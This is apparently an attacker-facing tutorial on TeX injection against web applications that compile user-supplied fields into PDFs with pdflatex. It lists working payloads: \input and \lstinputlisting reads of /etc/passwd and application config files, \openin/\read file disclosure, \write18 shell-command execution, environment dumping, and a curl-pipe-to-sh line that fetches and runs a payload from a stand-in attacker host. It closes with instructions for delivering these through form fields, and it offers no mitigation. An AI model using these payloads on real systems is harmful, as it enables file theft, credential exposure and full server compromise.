Applications that build PDFs by compiling a TeX template with pdflatex (invoices, certificates, reports) often drop user fields straight into the source. Because TeX is a full macro language, an unescaped field becomes executable markup: file disclosure through include primitives and, when shell-escape is on, operating-system command execution.
The sink
A template interpolates a value with no escaping:
\documentclass{article}
\begin{document}
Hello, USERNAME_HERE
\end{document}
Whatever you submit for the username is compiled as TeX, so control sequences in it run.
Reading server files
\input and \include splice another file's contents into the document, which then renders into the output PDF:
\input{/etc/passwd}
\input{/etc/hostname}
\lstinputlisting (from the listings package) reproduces a file verbatim, preserving formatting that \input mangles:
\lstinputlisting{/etc/passwd}
\lstinputlisting{/var/www/app/config.php}
\include and the lower-level \openin/\read pair achieve the same disclosure when those packages or primitives are available:
\newread\f
\openin\f=/etc/passwd
\read\f to \line
\line
\closein\f
Command execution with shell-escape
\write18 runs a shell command when the engine is invoked with -shell-escape (or shell_escape = t in the config). Many server pipelines enable it for diagram or image generation, which is all the attacker needs:
\immediate\write18{id}
\immediate\write18{id > /tmp/o; }\input{/tmp/o}
The second form captures the command output back into the PDF by writing to a file and including it. A fuller takeover fetches and runs a payload:
\immediate\write18{curl http://attacker.example/s.sh|sh}
Even in restricted shell-escape mode, allowlisted helpers like \write18{bibtex ...} or the image-conversion hooks can sometimes be steered to run arbitrary binaries.
Macro abuse for exfiltration
Beyond includes, TeX primitives read the environment and filesystem into macros you can render or write out. \input on a pipe, and the \immediate\write of harvested values to an attacker-reachable file during compilation, turn the build host into the exfil point:
\immediate\write18{env > /tmp/e}
\input{/tmp/e}
Package-specific vectors widen the surface: \usepackage{verbatim} with \verbatiminput, \catcode tricks to re-enable disabled characters, and \InputIfFileExists to probe for files before reading them.
Delivery
Submit the payload through whatever field the template renders (name, address, invoice line item, profile bio). The attack fires server-side the moment the application runs pdflatex, so the output PDF, or a compilation error leaking file contents, is returned to you or stored for later retrieval.